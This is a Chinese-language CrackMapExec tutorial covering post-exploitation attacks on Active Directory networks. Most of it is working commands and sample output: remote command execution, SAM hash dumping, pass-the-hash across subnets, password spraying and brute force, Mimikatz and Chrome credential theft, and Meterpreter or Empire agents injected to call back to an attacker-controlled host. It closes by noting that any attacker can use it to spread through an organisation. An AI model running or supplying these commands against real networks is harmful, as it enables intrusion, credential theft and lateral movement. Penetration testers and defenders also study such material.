crackmapexec终极指南

CrackMapExec(又名CME)是一个后渗透工具,帮助自动评估大型活动目录网络的安全性。CME采用了“自给自足”的概念:滥用内置的Active Directory特性/协议来实现它的功能,并允许它逃避大多数端点保护/id/IPS 解决方案。

虽然CME主要用于进攻目的(例如红队),但蓝队也可以使用CME来评估帐户权限,查找可能的错误配置和模拟攻击场景。

CrackMapExec由@byt3bl33d3r开发,For installation Check the GitHub Repo

网络发现

找出网络上有什么:

命令执行

在windows系统上执行命令需要管理员凭据,当身份验证成功时,CME通过在输出中追加’(Pwn3d!)’,自动告诉您正在使用的凭据集是否对主机具有管理员访问权限。

执行方法

CME有三种不同的命令执行方法:

1
2
3
wmiexec executes commands via WMI
atexec executes commands by scheduling a task with windows task scheduler
smbexec executes commands by creating and running a service

默认情况下,如果一个执行方法失败,CME将故障转移到另一个执行方法。它尝试按以下顺序执行命令:

1
2
3
wmiexec
atexec
smbexec

如果希望强制CME只使用一个执行方法,可以使用-execute-method标志指定哪个执行方法。

执行命令

在下面的例子中,尝试使用-x flag在目标上执行whoami:

1
2
3
4
5
6
#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami
06-05-2016 14:34:35 CME 192.168.10.11:445 WIN7BOX [*] Windows 6.1 Build 7601 (name:WIN7BOX) (domain:LAB)
06-05-2016 14:34:35 CME 192.168.10.11:445 WIN7BOX [+] LAB\Administrator:P@ssw0rd (Pwn3d!)
06-05-2016 14:34:39 CME 192.168.10.11:445 WIN7BOX [+] Executed command
06-05-2016 14:34:39 CME 192.168.10.11:445 WIN7BOX lab\administrator
06-05-2016 14:34:39 [*] KTHXBYE!

还可以直接使用-X flag执行PowerShell命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'
06-05-2016 14:36:06 CME 192.168.10.11:445 WIN7BOX [*] Windows 6.1 Build 7601 (name:WIN7BOX) (domain:LAB)
06-05-2016 14:36:06 CME 192.168.10.11:445 WIN7BOX [+] LAB\Administrator:P@ssw0rd (Pwn3d!)
06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX [+] Executed command
06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX Name Value
06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX ---- -----
06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX CLRVersion 2.0.50727.5420
06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX BuildVersion 6.1.7601.17514
06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX PSVersion 2.0
06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX WSManStackVersion 2.0
06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX PSCompatibleVersions {1.0, 2.0}
06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX SerializationVersion 1.1.0.1
06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX PSRemotingProtocolVersion 2.1
06-05-2016 14:36:10 [*] KTHXBYE!

检查已登录的用户

1
crackmapexec 192.168.215.104 -u 'Administrator' -p 'PASS' --lusers

凭据攻击

dump本地sam hash

1
crackmapexec 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth --sam

hash传递

CME支持通过SMB使用-H标志传递哈希攻击进行身份验证:

1
2
3
crackmapexec smb <target(s)> -u username -H LMHASH:NTHASH

crackmapexec smb <target(s)> -u username -H NTHASH

对子网hash传递攻击

通过admin + hash的smb登录到所有子网机器。通过使用-local-auth和找到的本地管理密码,可以使用该本地管理密码/散列登录到启用smb的整个子网机器。

1
cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaa35b51404ee:5509de4ff0a6e8d9f4a61100e51' --local-auth

空会话

可以通过使用“作为用户名和/或密码”来使用空会话登录
例子:

1
crackmapexec smb <target(s)> -u '' -p ''

爆破和密码喷射

可以通过指向子网和传递creds的crackmapexec来做到这一点:

SMB的例子

1
crackmapexec 10.0.2.0/24 -u ‘admin’ -p ‘P@ssw0rd' 

所有协议都支持暴力破解和密码喷洒。有关使用特定协议强制使用暴力破解/密码喷洒的详细信息,请参阅相应的wiki部分。

通过指定文件或多个值CME将自动暴力登录为所有目标使用指定的协议:

例子:

1
2
3
4
5
6
7
crackmapexec <protocol> <target(s)> -u username1 -p password1 password2

crackmapexec <protocol> <target(s)> -u username1 username2 -p password1

crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords

crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes

模块

从v3.1开始,模块的加载和使用方式发生了变化,以使CME的可移植性更强,并允许对其进行打包。

在v4.0中,每个协议现在都可以拥有自己的模块集(好玩好玩好玩!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
crackmapexec -L
[*] empire_exec Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
[*] shellinject Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
[*] rundll32_exec Executes a command using rundll32 and Windows's native javascript interpreter
[*] com_exec Executes a command using a COM scriptlet to bypass whitelisting
[*] tokenrider Allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials
[*] mimikatz Executes PowerSploit's Invoke-Mimikatz.ps1 script
[*] tokens Enumerates available tokens using Powersploit's Invoke-TokenManipulation
[*] peinject Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
[*] powerview Wrapper for PowerView's functions
[*] mimikittenz Executes Mimikittenz
[*] enum_chrome Uses Powersploit's Invoke-Mimikatz.ps1 script to decrypt saved Chrome passwords
[*] metinject Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
[*] eventvwr_bypass Executes a command using the eventvwr.exe fileless UAC bypass

使用一个模块

1
Run cme <protocol> <target(s)> -M <module name>.

例如,运行SMB Mimikatz模块:

1
2
cme <protocol> -M <module name> --options to view a modules supported options, e.g:
cme smb -M mimikatz --options

使用模块选项

模块选项用-o标志指定。所有选项都以KEY=value的形式指定(msfvenom风格)

例子:

1
cme <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M mimikatz -o COMMAND='privilege::debug'

模块 - MimiKatz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sudo cme 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth -M mimikatz
CME 192.168.215.104:445 MEETINGROOM [*] Windows 6.3 Build 9600 (name:MEETINGROOM) (domain:SE)
CME 192.168.215.104:445 MEETINGROOM [+] MEETINGROOM\Administrator:PASS (Pwn3d!)
MIMIKATZ 192.168.215.104:445 MEETINGROOM [+] Executed payload
MIMIKATZ [*] Waiting on 1 host(s)
MIMIKATZ 192.168.215.104 [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ [*] Waiting on 1 host(s)
MIMIKATZ 192.168.215.104 [*] - - "POST / HTTP/1.1" 200 -
MIMIKATZ 192.168.215.104 [+] Found credentials in Mimikatz output (domain\username:password)
MIMIKATZ 192.168.215.104 SE\Meeting:280778ddbb374ab9d2df719
MIMIKATZ 192.168.215.104 SE\MEETINGROOM$:0bfa8060fc6c6d42d6ea124
MIMIKATZ 192.168.215.104 SE\MEETINGROOM$:b245712b92126c953f203d6a
MIMIKATZ 192.168.215.104 [*] Saved Mimikatz's output to Mimikatz-192.168.215.104-2018-01-02_144545.log
[*] KTHXBYE!

模块 - Enum_Chrome

1
sudo cme 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth -M enum_chrome

使用CrackMapExec来get shell

metasploit

Metasploit Module - Metinject

1
2
3
4
5
6
7
cme -M metinject --show-options
[*] metinject module options:

LHOST IP hosting the handler
LPORT Handler port
PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https)
PROCID Process ID to inject into (default: current powershell process)

SMB to Meterpreter shell

1
2
3
4
5
6
7
8
sudo cme 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth -M met_inject -o LHOST=192.168.215.109 LPORT=5656 
Password:
CME 192.168.215.104:445 MEETINGROOM [*] Windows 6.3 Build 9600 (name:MEETINGROOM) (domain:SE)
CME 192.168.215.104:445 MEETINGROOM [+] MEETINGROOM\Administrator:PASS (Pwn3d!)
METINJECT 192.168.215.104:445 MEETINGROOM [+] Executed payload
METINJECT [*] Waiting on 1 host(s)
METINJECT 192.168.215.104 [*] - - "GET /Invoke-Shellcode.ps1 HTTP/1.1" 200 -
[*] KTHXBYE!

Empire

启动RESTful API

1
2
3
4
5
6
empire --rest --user empireadmin --pass gH25Iv1K68@^

[*] Loading modules from: /usr/local/Cellar/empire/1.5_1/libexec/lib/modules/
* Starting Empire RESTful API on port: 1337
* RESTful API token: 3brqi3nypvjzqgd269km091onaqc1t6kz8l1fclk
* Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)

启动 empire listener to target

1
2
3
4
5
sudo cme 192.168.215.104 -u Administrator -p PASSWORD --local-auth -M empire_exec -o LISTENER=CMETest
EMPIRE_EXEC [+] Successfully generated launcher for listener 'CMETest'
CME 192.168.215.104:445 MEETINGROOM [*] Windows 6.3 Build 9600 (name:MEETINGROOM) (domain:SE)
CME 192.168.215.104:445 MEETINGROOM [+] MEETINGROOM\Administrator:PASSWORD (Pwn3d!)
EMPIRE_EXEC 192.168.215.104:445 MEETINGROOM [+] Executed Empire Launcher

Empire & DeathStar 联动

CrackMapExec可以在被入侵的机器上部署empire代理。这使得进一步的后开发活动更加容易,特别是如果使用DeathStar的自动攻击能力。通过使用empire_exec模块并指定您希望代理使用的侦听器,这将部署和激活代理。所有收集到的凭据都可以导入到CrackMapExec凭据数据库中。

有了所有这些功能,CrackMapExec可以使任何测试者或攻击者很容易获得一台被入侵的计算机,并通过几个基本命令迅速在组织中传播。